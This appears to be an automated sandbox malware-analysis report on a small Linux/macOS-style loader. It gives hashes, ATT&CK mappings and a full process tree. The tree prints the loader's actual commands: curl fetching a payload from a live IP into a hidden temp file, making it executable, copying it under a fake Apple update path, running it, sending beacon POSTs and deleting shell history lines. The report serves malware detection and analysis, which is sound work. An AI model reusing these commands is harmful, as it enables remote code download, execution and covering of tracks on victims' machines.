ed2a4924259bb0691775a9624027db27a69d733c9cc8a5cae22e77b090819bfe

Analysis

max time kernel
13s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/07/2026, 00:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2b7e5ef01e7
Size 4KB
Sample260710-aghv1act2s
SHA256 ed2a4924259bb0691775a9624027db27a69d733c9cc8a5cae22e77b090819bfe
MD5 6774dc8cbfbc9f71a54122195060a0cb
SHA1 d2c28873194125cb66d5c6da087aa060c12715c7
SHA512 9d4478625a5fb173b37fb1326c1a0e42ec1b6dcbba30f6ef74efaade32ae0fd86ecef45329e710ccc34cbfd5c973942f257d7dad350103e74d7b3d6e0bac8b6d
SSDEEP 96:SF0JFj6EX6tUxorJTgfhgctDBihLnnkI9WgCNwS6:a5+ilTgfek0kI9WgC2S6
TLSH
T1F69141F2ECF4B5B1B0AD82AF795D90451AC76C7F42D936B44043ED2A20BC868397C279
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod
781	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/root/Library/Caches/com.apple.trustd/com.apple.update	790	2b7e5ef01e7

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
707	sed

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
687	base64
692	base64

Checks CPU configuration 1 TTPs 5 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/584/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/133/status	pkill
File opened for reading	/proc/227/cmdline	pkill
File opened for reading	/proc/288/cmdline	pkill
File opened for reading	/proc/304/cmdline	pkill
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/96/cmdline	pkill
File opened for reading	/proc/136/status	pkill
File opened for reading	/proc/672/cmdline	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/291/cmdline	pkill
File opened for reading	/proc/323/status	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/165/cmdline	pkill
File opened for reading	/proc/291/status	pkill
File opened for reading	/proc/305/status	pkill
File opened for reading	/proc/625/cmdline	pkill
File opened for reading	/proc/631/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/103/status	pkill
File opened for reading	/proc/657/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/105/status	pkill
File opened for reading	/proc/625/status	pkill
File opened for reading	/proc/638/cmdline	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/156/cmdline	pkill
File opened for reading	/proc/641/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/96/status	pkill
File opened for reading	/proc/641/status	pkill
File opened for reading	/proc/644/status	pkill
File opened for reading	/proc/657/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/9/status	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.U4fCbX1nBs/.r17aaX	curl

/tmp/2b7e5ef01e7
/tmp/2b7e5ef01e7
1⤵
- Executes dropped EXE
PID:641
- /usr/bin/arch
  arch
  2⤵
  PID:647
- /bin/uname
  uname -r
  2⤵
  PID:652
- /usr/bin/whoami
  whoami
  2⤵
  PID:664
- /bin/mktemp
  mktemp -d
  2⤵
  PID:668
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.trustd
  2⤵
  PID:669
- /usr/bin/pkill
  pkill -9 -f com.apple.update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:672
- /bin/sleep
  sleep 0.4
  2⤵
  PID:676
- /bin/uname
  uname -r
  2⤵
  PID:680
- /usr/bin/head
  head -1
  2⤵
  PID:683
- /usr/bin/wc
  wc -c
  2⤵
  PID:684
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:687
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:689
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:692
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:694
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:696
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:695
- /bin/uname
  uname -m
  2⤵
  PID:698
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"e9bbebc390038e80\",\"src\":\"http://176.124.221.70/e7c9681c264898c1?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  PID:697
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:702
- /usr/bin/head
  head -1
  2⤵
  PID:701
- /usr/bin/arch
  arch
  2⤵
  PID:703
- /usr/bin/curl
  curl -kfsSL "http://176.124.221.70/fe9e6a53d05392?force=1" -o /tmp/tmp.U4fCbX1nBs/.r17aaX
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:706
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:705
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  - Reads runtime system information
  PID:707
- /bin/uname
  uname -r
  2⤵
  PID:709
- /usr/bin/curl
  2⤵
  - Checks CPU configuration
  PID:756
- /bin/chmod
  chmod +x /tmp/tmp.U4fCbX1nBs/.r17aaX
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /bin/cp
  cp /tmp/tmp.U4fCbX1nBs/.r17aaX /root/Library/Caches/com.apple.trustd/com.apple.update
  2⤵
  PID:760
- /bin/chmod
  chmod +x /root/Library/Caches/com.apple.trustd/com.apple.update
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_start\",\"rid\":\"e9bbebc390038e80\",\"src\":\"http://176.124.221.70/e7c9681c264898c1?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:786
- /bin/sleep
  sleep 3
  2⤵
  PID:791
- /root/Library/Caches/com.apple.trustd/com.apple.update
  /root/Library/Caches/com.apple.trustd/com.apple.update
  2⤵
  PID:790
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_fail\",\"rid\":\"e9bbebc390038e80\",\"m\":{\"exit\":\"126\"}}" -m 5
  2⤵
  - Checks CPU configuration
  PID:800
- /bin/rm
  rm -rf /tmp/tmp.U4fCbX1nBs
  2⤵
  PID:801

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Unsecured Credentials

T1552

Bash History

T1552.003

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

com.apple.update

Path /root/Library/Caches/com.apple.trustd/com.apple.update
Size 40.6MB
SHA256 e7ecacb798b548e9b90daed57338a09953c15bd94fa8fae3c3d0f1d354fb1a23
MD5 aca17a3c7e0746c94e20362adcb7d659
SHA1 779605d9abc32fcc9aedc25e7139fd5d6b6ba978
SHA512 7d7562c2c804a5a18f0834a51fe4c1606dcbffd3eb18e059ca28c0409b8a51db35bc6d470b2979b0d785bad009d3c59b474aa5fac7e03a8ad4b576ce4c581052
SSDEEP 196608:NR8H8RGp63axhNljxiBAAi1OTMdtBE/hmz1SsftTo4LK506GfeLnBagB803eN:N2H8RH3aTjABqwmz1pfuyU0JeT5ON
TLSH
T1E7972C93D8E22694C4EAC575D139825BBBA23C19077C33E70BE1B7201F36BE0667A751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.r17aaX

Path /tmp/tmp.U4fCbX1nBs/.r17aaX
Size 47.5MB
SHA256 03fd418836d1ffde97b7a30ea3b54cb1ca975027a8c54d8b3f6f9dca64334ebf
MD5 b3d6e96b947fc1989a050e630eb0128f
SHA1 d1d180ef2753d1ebaa92341ec7a0153cb2cb7a7e
SHA512 dc7dcd00bcfa19301423aa496a1f47c12490a9662c69c9269f1f82c2d8869bb07ff856e3d28eb6eb3deb199e7ae341093df95249cf58878b725730869dd6fa10
SSDEEP 196608:NR8H8RGp63axhNljxiBAAi1OTMdtBE/hmz1Ssftj2dk906GfeT4rKwJdXnDyTlkP:N2H8RH3aTjABqwmz1pfQ290JeT6XDn
TLSH
T1D1B74CD3E8E22694C4EA8275D135815BBA623C190B7C23E716E0FB301F36BE46677752
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads